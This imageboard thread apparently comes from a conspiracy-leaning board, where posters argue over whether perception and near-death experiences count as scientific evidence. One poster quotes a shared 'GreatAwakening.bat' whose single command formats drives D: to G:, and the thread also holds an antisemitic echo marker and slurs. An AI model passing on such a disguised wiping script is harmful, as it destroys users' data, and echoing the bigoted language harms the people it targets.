>>12705841 (lb)
>i'm a scientist
>besides direct knowledge from my own out-of-body experiences
I call bullshit.
As a scientist you should know that you perceived experiences means nothing in terms of evidence.
<Also I've never seen a scientist not capitalize the first letter of a sentence. It becomes second nature when writing scientific papers. But you're probably just one of the lazy ones… Kek
Create hidden adversary (Satan, COVID, etc. etc.) in the mind of the masses
Proclaim that the adversary is all powerful and has the upper hand.
Claim that any legit help for the masses is "of the adversary"
Control masses through fear.
?????
Profit
>guess you aren't a psychologist interested in understanding perception
I'm not a psychologist, no.
Though I have an interest in perception. One of my main reasons for being here in fact.
But I also know that perception is personal and manipulable.
Our perception is not a good objective measurement of anything.
So basing beliefs on ideas derived only from perception is akin to guessing.
>>12706104 (me)
…derived only from perception…
Duh. Everything is derived from perception…
Should have said personal perception.
Holy shit. Those reporters know us better than we do. Kek.
←- Actual picture of Earth from Space
>i'm a scientist
>Proceeds to tell why the "scientific method" is wrong
Kek.
I agreed with you that perception is how we see things. Aka. how we read the readings of our measurements.
But you are taking that to mean something like we can use dreams as evidence. Which is just ridiculous.
You (should) know our brains perception is based on chemical interactions in our brains.
Hence what we perceive, might not be what is actually happening.
This is why we need peer reviews in science.
Personal perception alone is an indicator of NOTHING.
> where by everyone is supposed to ignore all perceptions that supposedly are not relevant to the experiment and the data..
Give me one example.
>Personal perception shapes one’s world-view the most.
You are conflating to concepts and calling me stupid because you can't grasp the difference.
How many times do I need to say this?
Yes, as "personal perception" is the ONLY way we CAN perceive the world it is obviously what shapes our world-view the most.
Our world-view =//= The world
>but what initiates those chemical reactions in the brain?
Your first question is good, and while I can't give you an answer some more knowledgeable in the field of brain chemistry might.
But then you go on to assert a whole lot of stuff without any backing whatsoever.
>pure consciousness occur in space/time
What does that even mean?
>it could be argued
sure it can, everything can. Doesn't mean it's correct. Though what you are trying to argue I can't make any sense of.
I could argue that the moon was made of cheese.
>it has been demonstrated in near death experiences when the brain is FLATLINED, the person observes the the environment and people around their body and when revived can give and exact report of the conversation and movements and so on
Flatline doesn't mean no brain activity. The brain is the last thing that remains active.
That's why you tell people with dying relatives that they can still hear your goodbyes up to 20 minutes after death.
Apology accepted.
Can't disagree with you.
Though you were quoting me while calling the species stupid, so you were indirectly doing it.
But it's fine. I still love you.
But does a bad apple spoil the bunch?
I agree that many "scientific communities" are very unscientific in their behavior.
But that's not on science, but the people claiming to be "of science"
>GreatAwakening.bat
I just opened it in notepad. Here's the contents:
>@echo off
>for %%i in (d:,e:,f:,g:) do format %%i /FS:NTFS /x
Cool.
And as a practitioner of the scientific method I completely trust your anecdotal evidence for remote viewing.
Or are you going to prove it somehow?
…or are you just speaking fluff that you know no one can verify just to sound smart?
>flatlining means that all neural activity that can form any signal to the body or to any other neurons in the brain ore the body, has ceased
Kek
>research it…
>The scientific method is flawed since it dismisses psyphenomena it cannot explain
Give me one example.
What does the scientific method dismiss here?
>>12706523 (me)
That is in fact not true at all.
We call that phenomenon that you seem to think we dismiss "The collapse of the wave function".
We cannot explain why it happens. But we doesn't dismiss it.
And yes Einstein (((stein))) was a bad apple. But that is just personal opinion.
You can. But you won't?
Read ->>12706547
<And I can also fix a typo while at it.
>But we doesn't dismiss it.
>don't*
You are a special kind of retard aren't you?